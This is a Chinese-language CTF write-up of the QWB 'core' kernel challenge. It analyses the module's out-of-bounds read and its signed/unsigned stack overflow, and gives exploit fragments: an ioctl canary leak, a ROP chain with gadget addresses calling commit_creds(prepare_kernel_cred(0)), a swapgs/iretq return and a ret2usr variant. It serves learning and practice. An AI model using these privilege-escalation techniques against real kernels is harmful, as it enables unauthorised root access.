第二道kernel pwn,去年强网杯的core,参考着CTF-WIKI上调试的,发现有很多东西都是第一次接触到,记录一下。
题目简述 & 题目漏洞
init文件的最后设置了关机,可以将这条语句删掉之后重新打包,解压后的core.cpio文件中有一个gen_cpio.sh,是一个方便打包文件系统的脚本。
修改init文件重新打包文件系统后运行start.sh,但无法运行:
修改start.sh将内存由64M修改为128M,再运行kernel,就可以运行了:
题目开的保护,有Canary。1
2
3
4
5
6
7
8
9
10ubuntu@ubuntu:~/Desktop$ checksec core.ko
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/ubuntu/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/ubuntu/Desktop/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
在init文件中将/proc/sys/kernel/kptr_restrict设置为1,将无法通过/proc/kallsyms查看函数的地址:
在init文件中将/proc/sys/kernel/dmesg_restrict设置为1,非特权用户将无法查看dmesg信息,无法访问内核打印的消息。
init_nodule中程序创建了虚拟文件/proc/core,应用层通过该文件实现与内核的交互。1
2
3
4
5
6__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE, 438LL);
return 0LL;
}
在core_ioctl中定义了三条命令,分别是core_read()、设置全局变量off以及core_copy_func()。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // rbx
v3 = a3;
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = v3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(v3);
break;
}
return 0LL;
}
在core_read中,程序将从v5[off]为起始地址的64个字节从内核空间拷贝到用户空间。off可以在第二个命令中控制它的数值。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26unsigned __int64 __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-50h]
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v1 = a1;
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = &v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 = (__int64 *)((char *)v2 + 4);
}
strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v1, (char *)&v5 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
第三个命令调用core_copy_func函数,该函数将全局变量name中的内容拷贝到变量v2中,限制拷贝的长度最多为63,但是在长度比较时a1的类型是signed __int64,但是在调用qmemecpy时a1的类型变为unsigned __int16。当a1为负数时,在拷贝时被转换为一个较大的整数,可以造成栈溢出。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
signed __int64 result; // rax
__int64 v2; // [rsp+0h] [rbp-50h]
unsigned __int64 v3; // [rsp+40h] [rbp-10h]
v3 = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1);
}
return result;
}
core_write函数可以对全局变量name进行写操作,从用户空间拷贝到内核空间。1
2
3
4
5
6
7
8
9
10
11signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk(&unk_215);
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
return (unsigned int)v3;
printk(&unk_230);
return 4294967282LL;
}
exit_core中删除虚拟文件/proc/core。1
2
3
4
5
6
7
8__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
利用过程
题目有栈溢出的漏洞,有canary保护,需要先泄露canary,然后利用栈溢出漏洞构造ROP。利用思路如下:
- 读取/tmp/kallsyms泄露函数地址,保存用户空间相关寄存器状态。
- 利用core_ioctl中的第二条命令设置off的值,再通过函数core_read将v5[off]从内核空间拷贝到用户控件泄露canary。
- 利用core_write函数在全局变量name中构造rop,再调用core_copy_func函数将rop拷贝到内核空间。
- 利用泄露出的canary和构造的rop执行commit_creds(prepare_kernel_cred(0))进行提权。
- 利用swapgs和iretq指令从内核空间切换到用户空间。
- 以root权限执行system(“/bin/sh”)。
gdb调试
首先修改init文件,添加以下命令,以便可以获取core.ko的代码段的基址。这样内核启动时就是root权限,当然这是为了调试方便,真正执行exp可以去掉这条命令。1
setsid /bin/cttyhack setuidgid 0 /bin/sh
然后重新打包文件系统,运行start.sh起内核,在qemu中查找core.ko的.text段的地址:1
2/ # cat /sys/module/core/sections/.text
0xffffffffc0205000
在另外一个terminal中启动gdb:1
gdb ./vmlinux -q
然后添加core.ko的符号表,加载了符号表之后就可以直接对函数名下断点了。1
2
3
4gdb-peda$ add-symbol-file ./core.ko 0xffffffffc0205000
add symbol table from file "./core.ko" at
.text_addr = 0xffffffffc0205000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
然后运行以下命令连接qemu进行调试:1
target remote localhost:1234
exp组成
swapgs指令和iretq指令
首先说一下swapgs指令和iretq指令。
swapgs指令通过系统调用切入到kernel系统服务后,通过交换IA32_KERNEL_GS_BASE与IA32_GS_BASE的值,从而得到kernel数据结构的指针,其中,IA32_KERNEL_GS_BASE寄存器是一个MSR寄存器,用了保存kernel级别的数据结构指针。MSR(Model Specific Register)寄存器是为了设置CPU的工作环境和标识CPU的工作状态,包括温度控制、性能监控等,具体可以看这篇博客。关于swapgs指令的内容引用了这篇博客,《程序员的自我修养》里面也有,在第十二章讲系统调用里面。
在执行IRET指令时,如果返回到相同级别的任务,将从栈中弹出指令指针、代码段选择器和EFLAGS映像至EIP、CS和EFLAGS寄存器,然后继续执行被中断的程序或过程。如果返回到另一个权限级别则在恢复程序执行之前,还有从栈中弹出堆栈指针和SS。IA-32指令手册中的原文如下:1
the IRET instruction pops the return instruction pointer, return code segment selector, and EFLAGS image from the stack to the EIP, CS, and EFLAGS registers, respectively, and then resumes execution of the interrupted program or procedure. If the return is to another privilege level, the IRET instruction also pops the stack pointer and SS from the stack, before resuming program execution.
那如果从kernel space返回到user space,我们需要在栈中提前准备好rip、CS、EFLAGS、SS和rsp。rip我们可以设置成system(“/bin/sh”)函数地址。
因此需要先保存这些寄存器的状态:1
2
3
4
5
6
7
8void save_status(){
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;" //push eflags
"pop user_rflags;"
);
}
获取函数地址
可以在/tmp/kallsyms中获取到commit_creds和prepare_kernel_cred的函数地址,这里类似于泄露libc,泄露一个地址然后减去它在libc中的偏移就可以得到libc_base,那我们获取到这两个函数地址后,减去它们在vmlinux的偏移,就可以获得vmlinux_base。偏移可以利用pwntools获得:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21from pwn import *
vmlinux = ELF("./vmlinux")
base = 0xffffffff81000000
commit_creds_offset = vmlinux.symbols["commit_creds"] - base
print hex(commit_creds_offset) #0x9c8e0
prepare_kernel_cred = vmlinux.symbols["prepare_kernel_cred"] - base
print hex(prepare_kernel_cred) #0x9cce0
'''
ubuntu@ubuntu:~/Desktop$ checksec vmlinux
[*] '/home/ubuntu/Desktop/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
'''
因此读取/tmp/kallsyms获得函数地址,然后减去对应的偏移获得vmlinux_base。在exp中对应的函数是find_symbols()。
泄露canary
在前文的分析中提到第二个命令可以设置off的值,因为v5是rbp-0x50,可以将off设置为0x40,然后泄露canary。buf是char类型,将其转换为size_t后,char buf[0x40]变成了size_t buf[8]。然后buf[0]就是canary。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16void set_off(int fd, long long idx){
printf("[*]set off to %lld\n",idx);
ioctl(fd,0x6677889C,idx);
}
//read from kernel
void core_read(int fd,char* buf){
printf("[*]read to buf\n");
ioctl(fd,0x6677889B,buf);
}
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t*)buf)[0];
printf("[*]canary: %p\n",canary);
构造rop
因为v5是rbp-0x50,根据偏移0x50填充canary和ebp:1
2
3
4
5
6
7
8
9
10for(i=0;i<10;i++){
rop[i] = canary;
}
接下来执行prepare_kernel_cred(0):
~~~c
//rdi = 0;ret prepare_kernel_cred
//prepare_kernel_cred(0)
rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
执行完这段rop后rax中存储了函数返回值:
然后执行commit_creds(prepare_kernel_cred(0)),给三个gadget分别标号为1、2和3,下面的解释就看的清楚了,需要自己调试一下才清楚。1
2
3
4
5
6
7
8
9//init: rax = prepare_kernel_cred(0)
//rdx = rop 2
//retn rop 3 mov rdi,rax;call rdx;
//call rop 2 -> pop "cmp rbx,r15" to rcx
//retn commit_creds
rop[i++] = 0xffffffff810a0f49 + offset; //pop rdx; ret 1
rop[i++] = 0xffffffff81021e53 + offset; //pop rcx; ret 2
rop[i++] = 0xffffffff8101aa6a + offset; //mov rdi,rax; call rdx; 3
rop[i++] = commit_creds;
这里加了一个pop rcx是因为rop 3是8个字节的指令,一共有三条指令,完整的如下:1
2
3
4
5gdb-peda$ x /4i 0xffffffff9181aa6a
0xffffffff9181aa6a: mov rdi,rax
0xffffffff9181aa6d: call rdx
0xffffffff9181aa6f: cmp rbx,r15
0xffffffff9181aa72: mov rax,QWORD PTR [rbx]
执行完call rdx之后栈里面还有一条指令cmp rbx,r15,因此先pop rcx才能返回到下一个rop也就是commit_creds的地址。
最后执行swapgs和iretq指令,提前在栈中准备好rip、CS、EFLAGS、SS和rsp,rip设置为system(“/bin/sh”)来起shell。这样起的shell就是root权限。
这里说一下为什么要返回用户态,贴一张经典的讲内核的ppt:
最后执行exp的效果,成功提权:
刚开始学kernel,还不会写exp,exp来自CTF-WIKI,然后根据自己的理解加了注释,静态编译exp:1
gcc exp.c -static -masm=intel -g -o exp
1 |
|
另外一种解法 ret2usr
ret2usrd的思想主要是虽然用户控件的进程不能访问内核空间,但是反过来内核空间可以访问用户空间的进程,以内核的权限执行用户空间代码来完成提权,上面的解法是在内核空间构造rop来执行commit_creds(prepare_kernel_cred(0)),这种解法是以内核权限调用用户空间的代码。
利用思路
- 读取/tmp/kallsyms泄露函数地址,保存用户空间相关寄存器状态。
- 利用core_ioctl中的第二条命令设置off的值,再通过函数core_read将v5[off]从内核空间拷贝到用户控件泄露canary。
- 覆盖返回地址为用户空间代码,该段代码用来执以内核权限执行commit_creds(prepare_kernel_cred(0))获得root权限。
- 利用swapgs和iretq指令返回用户空间,执行system(“/bin/sh”)起shell。
总的来说比构造rop要简单,执行用户空间代码可以用函数指针来实现,因为我们已经泄露了这两个函数的地址:1
2
3
4
5
6void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
完整的exp在这里。
参考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/
https://blog.csdn.net/u012927281/article/details/51540447
https://blog.csdn.net/edonlii/article/details/8685713
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/ret2usr-zh/